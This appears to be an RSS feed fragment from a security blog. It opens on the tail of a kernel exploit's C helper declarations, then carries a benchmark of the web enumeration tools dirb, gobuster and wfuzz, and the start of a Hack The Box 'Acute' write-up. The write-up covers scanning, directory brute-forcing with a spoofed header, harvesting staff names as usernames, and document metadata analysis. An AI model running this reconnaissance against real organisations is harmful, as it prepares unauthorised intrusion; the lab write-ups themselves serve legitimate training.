<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint64_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> where;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">    uint8_t</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> what;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">} WRITE_WHAT_WHERE_BYTE, </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> PWRITE_WHAT_WHERE_BYTE;</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> write_byte</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> write_mem</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">WRITE_WHAT_WHERE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-light-font-style:inherit;--shiki-dark:#7F848E;--shiki-dark-font-style:italic">// From kernel.h</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">BOOL </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">BuildDevicePath</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">LPCWSTR</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> LPCWSTR</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">BOOL </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">OpenDevice</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">HANDLE</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> LPCWSTR</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> GetFunctionOffset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">LPCSTR</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">,</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> GetKernelBase</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">uint64_t*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PVOID </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">GetObjectPointedByHandle</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">HANDLE</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
    </item>
    <item>
      <title>Web Enumeration Tool Benchmark</title>
      <link>https://blog.hophouse.fr/posts/web-benchmark.html</link>
      <guid>https://blog.hophouse.fr/posts/web-benchmark.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Web Enumeration Tool Benchmark</source>
      <description>Often during pentesting engagements, you will face to an HTTP/HTTPS webserver. A great way to find things on it is to enumerate resources. Multiple command line tools exist to d...</description>
      <category>Research</category>
      <pubDate>Wed, 18 Mar 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<p>Often during pentesting engagements, you will face to an HTTP/HTTPS webserver.
A great way to find things on it is to enumerate resources. Multiple command line tools exist to do so including the following:</p>
<ul>
<li>dirb</li>
<li>gobuster</li>
<li>wfuzz</li>
</ul>
<p>Some of them can help to do more than a siple ressource enumeration but we will focus on the enumeration part.
The idea is to test these tools in order to find which one is the fastest enumeration tool.
Tests will be done on the same target, where there is 3 endpoints that have the PHP extension.</p>
<h2>dirb</h2>
<p><em>dirb</em> is part of Kali linux tools</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">dirb</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.181/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -X</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .php</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /usr/share/wfuzz/wordlist/general/big.txt</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">0.32s</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> user</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">1.54s</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> system</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">0%</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cpu</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">17:45.79</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> total</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Gobuster</h2>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">gobuster</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> dir</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -f</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -e</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -r</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -k</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -s</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 200</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -x</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> php</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.181/</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -w</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /usr/share/wordlists/dirb/big.txt</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The statistics :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>0.75s user</span></span>
<span class="line"><span>1.19s system</span></span>
<span class="line"><span>1% cpu</span></span>
<span class="line"><span>1:55.79 total</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Wfuzz</h2>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">wfuzz</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -c</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> --sc</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 200</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -w</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> /usr/share/wordlists/dirb/big.txt</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://10.10.10.181/FUZZ.php</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>The statistics :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>174.13s user</span></span>
<span class="line"><span>110.00s system</span></span>
<span class="line"><span>101% cpu</span></span>
<span class="line"><span>4:38.72 total</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>Conclusion</h2>
<p>It seems that <code>dirb</code> is the fastest web enumeration tool</p>
]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/code.jpg" type="image/jpeg"/>
    </item>
    <item>
      <title>Acute</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Acute.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Acute.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Acute</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: TCP scan User flag HTT...</description>
      <category>Write-Up</category>
      <pubDate>Fri, 13 May 2022 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<h3>TCP scan</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">PORT</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    STATE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> SERVICE</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  VERSION</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">443/tcp</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> open</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  ssl/http</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> HTTPAPI</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> httpd</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2.0</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (SSDP/UPnP)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Service</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Info:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> OS:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Windows</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">; </span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">CPE:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> cpe:/o:microsoft:windows</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><h2>User flag</h2>
<h3>HTTP Enumeration</h3>
<p>Using <code>sslscan</code>, it is possible to retrive information about the certificate used on the Web server.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">SSL</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Certificate:</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Algorithm:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> sha256WithRSAEncryption</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">RSA</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Key</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Strength:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">    2048</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Subject:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  atsserver.acute.local</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Altnames:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> DNS:atsserver.acute.local,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> DNS:atsserver</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Issuer:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">   acute-ATSSERVER-CA</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> valid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> before:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Jan</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 06:34:58</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2022</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> GMT</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Not</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> valid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> after:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Jan</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">  4</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 06:34:58</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2030</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> GMT</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>The certificate is <code>atsserver.acute.local</code>. It was issued by <code>acute-ATSSERVER-CA</code>.</p>
<h3>Web Application <code>atsserver.acute.local</code></h3>
<p>Available resources with <code>gop crawler</code> :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">➜</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  Acute</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> gop</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> crawler</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -u</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> https://atsserver.acute.local/</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] Crawling from URL: https://atsserver.acute.local/</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[  ] [Crawler] [</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> / 1] [Finished]</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Internal</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ressources</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> for</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> https://atsserver.acute.local/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/New_Starter_CheckList_v7.docx</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/mental-health-staff-training/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/healthcare-training-</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">-domiciliary-care-workers/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/training-substance-abuse-staff/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/training-learning-disability-services/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/training-doctors-dental-surgery-staff/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/training-childcare-staff/</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">  [HTTPS] [link] https://atsserver.acute.local/courses/schools-colleges-training/</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>A <code>docx</code> file was identified and called : <code>New_Starter_CheckList_v7.docx</code>.</p>
<p><code>Gobuster</code> was used to enumerate resources :</p>
<div class="language- line-numbers-mode" data-highlighter="shiki" data-ext="" data-title="" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span>gobuster dir -u https://atsserver.acute.local -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -H "X-Forwarded-For: 127.0.0.1"  -o gobuster_big -t 40 -b 403,404 -k</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>Gobuster v3.1.0</span></span>
<span class="line"><span>by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>[+] Url:                     https://atsserver.acute.local</span></span>
<span class="line"><span>[+] Method:                  GET</span></span>
<span class="line"><span>[+] Threads:                 40</span></span>
<span class="line"><span>[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt</span></span>
<span class="line"><span>[+] Negative Status codes:   403,404</span></span>
<span class="line"><span>[+] User Agent:              gobuster/3.1.0</span></span>
<span class="line"><span>[+] Expanded:                true</span></span>
<span class="line"><span>[+] Timeout:                 10s</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>2022/05/13 10:55:40 Starting gobuster in directory enumeration mode</span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>https://atsserver.acute.local/aspnet_client        (Status: 301) [Size: 167] [--&gt; https://atsserver.acute.local/aspnet_client/]</span></span>
<span class="line"><span></span></span>
<span class="line"><span>===============================================================</span></span>
<span class="line"><span>2022/05/13 10:56:11 Finished</span></span>
<span class="line"><span>===============================================================</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Possible user list can be retrieved from the page <code>/about.html</code> :</p>
<blockquote>
<p>WHO WE WORK WITH</p>
<p>Acute Health work with healthcare providers, councils and NHS units in the UK, training over 10,000 nurses, managers and healthcare workers every year. Some of our more established team members have been included for multiple awards, these members include Aileen Wallace, Charlotte Hall, Evan Davies, Ieuan Monks, Joshua Morgan, and Lois Hopkins. Each of whom have come away with special accolades from the Healthcare community.</p>
</blockquote>
<p>Possible users are :</p>
<ul>
<li>Aileen Wallace</li>
<li>Charlotte Hall</li>
<li>Evan Davies</li>
<li>Ieuan Monks</li>
<li>Joshua Morgan</li>
<li>Lois Hopkins</li>
</ul>
<h3>Docx analysis</h3>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> exiftool New_Starter_CheckList_v7.docx</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">ExifTool</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Version</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">         :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 12.41</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Name</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                       :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> New_Starter_CheckList_v7.docx</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Directory</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                       :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> .</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Size</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                       :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 34</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> KiB</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Modification</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date/Time</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2022:05:13</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 11:00:00+02:00</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Access</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date/Time</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">           :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2022:05:13</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 11:07:32+02:00</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Inode</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Change</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date/Time</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">     :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2022:05:13</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 11:07:32+02:00</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Permissions</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -rw-r--r--</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                       :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> DOCX</span></span>
